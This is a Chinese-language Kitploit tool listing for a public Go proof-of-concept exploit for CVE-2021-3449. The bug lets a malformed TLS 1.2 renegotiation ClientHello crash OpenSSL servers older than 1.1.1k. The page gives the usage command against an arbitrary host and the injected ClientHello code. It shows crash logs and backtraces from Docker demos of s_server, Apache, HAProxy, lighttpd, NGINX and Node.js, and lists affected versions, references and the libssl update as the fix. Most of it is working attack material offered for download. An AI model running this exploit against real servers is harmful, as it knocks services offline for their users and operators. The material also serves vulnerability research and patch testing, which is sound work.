Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2021-3449 — CVE-2021-3449 OpenSSL denial-of-service exploit 👨🏻‍💻 | Kitploit
工具/GitHubGitHub/riptl/cve-2021-3449
Vulnerability AnalysisExploitationWeb SecurityPenetration Testing
GitHubriptl/cve-2021-3449

cve-2021-3449

CVE-2021-3449 OpenSSL denial-of-service exploit 👨🏻‍💻

查看仓库
224374年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-3449 OpenSSL <1.1.1k DoS 漏洞利用

用法:go run . -host hostname:port

该程序实现了 CVE-2021-3449 的概念验证利用代码, 影响 OpenSSL 服务器版本在 1.1.1k 之前且接受 TLSv1.2 安全重新协商的情况。

它连接到一个 TLSv1.2 服务器,并立即发起 RFC 5746 "安全重新协商"。 攻击涉及一个恶意构造的 ClientHello,通过导致空指针解引用来使服务器崩溃(拒绝服务)。

参考

  • OpenSSL 安全公告
  • cve.mitre.org
  • Ubuntu 安全通知 (USN-4891-1)
  • Debian 安全跟踪器
  • Red Hat CVE 条目

该问题于 2021 年 3 月 17 日由诺基亚报告给 OpenSSL。修复由 Peter Kästle 和 Samuel Sapalski(诺基亚)开发。

缓解措施

已知的唯一修复方法是更新 libssl1.1。

即使某些应用默认使用强化 TLS 配置禁用了 TLS 重新协商, 如果它们运行在旧版 OpenSSL 上,仍然会受到此漏洞的影响。

利用代码

main.go 是一个小巧的脚本,它连接到一个 TLS 服务器,强制重新协商,然后断开连接。

利用代码被注入到 Go 1.14.15 捆绑的 encoding/tls 包中。 你可以在 handshake_client.go:115 找到它。逻辑不言自明。

root@kitploit:~
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

演示

demo/ 目录包含用于为各种应用程序打上易受攻击 OpenSSL 版本的配置。

测试设置:

  • 本地下载并编译易受攻击的 OpenSSL 1.1.1j 版本
  • 准备一个 Ubuntu 20.04 目标容器并上传 OpenSSL 库
  • 将应用程序安装到目标容器
  • 启动服务器并执行攻击

要求:

  • OpenSSL(在宿主机上)
  • build-essential(Perl, GCC, Make)
  • Docker

注意:下列 Web 服务器如果使用 OpenSSL 1.1.1k 或更高版本,均不受 CVE-2021-3449 影响。

要清理所有演示资源,请运行 make clean。

OpenSSL 简单服务器

openssl s_server 是最小化的 TLS 服务器实现。

  • make demo-openssl:完整运行(端口 4433)
  • make -C demo build-openssl:构建目标 Docker 镜像
  • make -C demo start-openssl:启动目标(端口 4433)
  • make -C demo stop-openssl:停止目标

结果:服务器完全崩溃。

日志

root@kitploit:~
docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

Apache2 httpd Web 服务器使用默认配置容易受到攻击。

  • make demo-apache:完整运行(端口 443)
  • make -C demo build-apache:构建目标 Docker 镜像
  • make -C demo start-apache:启动目标(端口 443)
  • make -C demo stop-apache:停止目标

感谢 @binarytrails 的贡献。

结果:部分中断,主进程仍然存活但工作进程崩溃。

日志

root@kitploit:~
docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]

sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2

HAProxy

HAProxy 2.0.13 及更高版本不受影响。

至少 1.8.8 之前的版本在 "intermediate" TLS 配置下容易受到攻击。

  • make demo-haproxy:完整运行(端口 4433)
  • make -C demo build-haproxy:构建目标 Docker 镜像
  • make -C demo start-haproxy:启动目标(端口 4433)
  • make -C demo stop-haproxy:停止目标

测试使用 master-worker 模式(-W 标志,Debian 默认)。令人惊讶的是,如果工作进程死亡,主进程也会退出。

结果:服务器完全崩溃。

日志

root@kitploit:~
docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)

lighttpd

lighttpd 1.4.56 及更高版本如果在 lighttpd.conf 中配置了 ssl.disable-client-renegotiation = "enable" 则不受影响。

lighttpd Web 服务器版本 <= 1.4.55 使用 "intermediate" TLS 配置容易受到攻击。

  • make demo-lighttpd:完整运行(端口 4433)
  • make -C demo build-lighttpd:构建目标 Docker 镜像
  • make -C demo start-lighttpd:启动目标(端口 4433)
  • make -C demo stop-lighttpd:停止目标

结果:服务器完全崩溃。

日志

root@kitploit:~
docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1:     7 Segmentation fault      lighttpd -D -f /etc/lighttpd/lighttpd.conf

NGINX

NGINX 1.18.0 及更高版本不受影响。

NGINX 1.14.0 Web 服务器使用常见配置容易受到攻击。(https://nginxconfig.io)

NGINX 版本 >1.15.4 且使用 OpenSSL >=1.1.1 被认为是安全的, 因为它们包含了 SSL_OP_NO_RENEGOTIATION 补丁: http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html

  • make demo-nginx:完整运行(端口 4433)
  • make -C demo build-nginx:构建目标 Docker 镜像
  • make -C demo start-nginx:启动目标(端口 4433)
  • make -C demo stop-nginx:停止目标

结果:部分中断,主进程仍然存活但工作进程崩溃。

日志

root@kitploit:~
docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)

Node.js

Node.js https.createServer() 容易受到攻击。

  • make demo-nodejs:完整运行(端口 4433)
  • make -C demo build-nodejs:构建目标 Docker 镜像
  • make -C demo start-nodejs:启动目标(端口 4433)
  • make -C demo stop-nodejs:停止目标

结果:服务器完全崩溃。

日志

root@kitploit:~
server started
sending initial ClientHello
connected
sending malicious ClientHello

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0  0x000000000160714e in tls1_process_sigalgs ()
#1  0x00000000016074b3 in tls1_set_server_sigalgs ()
#2  0x00000000016007dd in tls_post_process_client_hello ()
#3  0x00000000015ef692 in state_machine.part ()
#4  0x00000000015c1a6d in ssl3_read_bytes ()
#5  0x00000000015ca2c7 in ssl3_read ()
#6  0x00000000015d6491 in SSL_read ()
#7  0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8  0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9  0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF

版权

此仓库捆绑了 Go 编程语言的 encoding/tls 包。

root@kitploit:~
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
下载工具
服务器发行版版本演示命令结果
OpenSSL s_server-1.1.1jmake demo-openssl崩溃
Apache2Ubuntu 18.042.4.29make demo-apache2部分崩溃
HAProxyUbuntu 18.041.8.8make demo-haproxy崩溃
HAProxyUbuntu 20.042.0.13make demo-haproxy无影响
lighttpdUbuntu 18.041.4.55make demo-lighttpd崩溃
lighttpdUbuntu 20.041.4.55make demo-lighttpd崩溃
lighttpdUbuntu 21.041.4.59make demo-lighttpd无影响(使用配置选项)
NGINXUbuntu 18.041.14.0make demo-nginx部分崩溃
NGINXUbuntu 20.041.18.0make demo-nginx无影响
Node.js <=12Ubuntu 18.04无影响
Node.js >12Ubuntu 18.04?make demo-nodejs崩溃
Node.js >12Ubuntu 18.0415.14.0make demo-nodejs无影响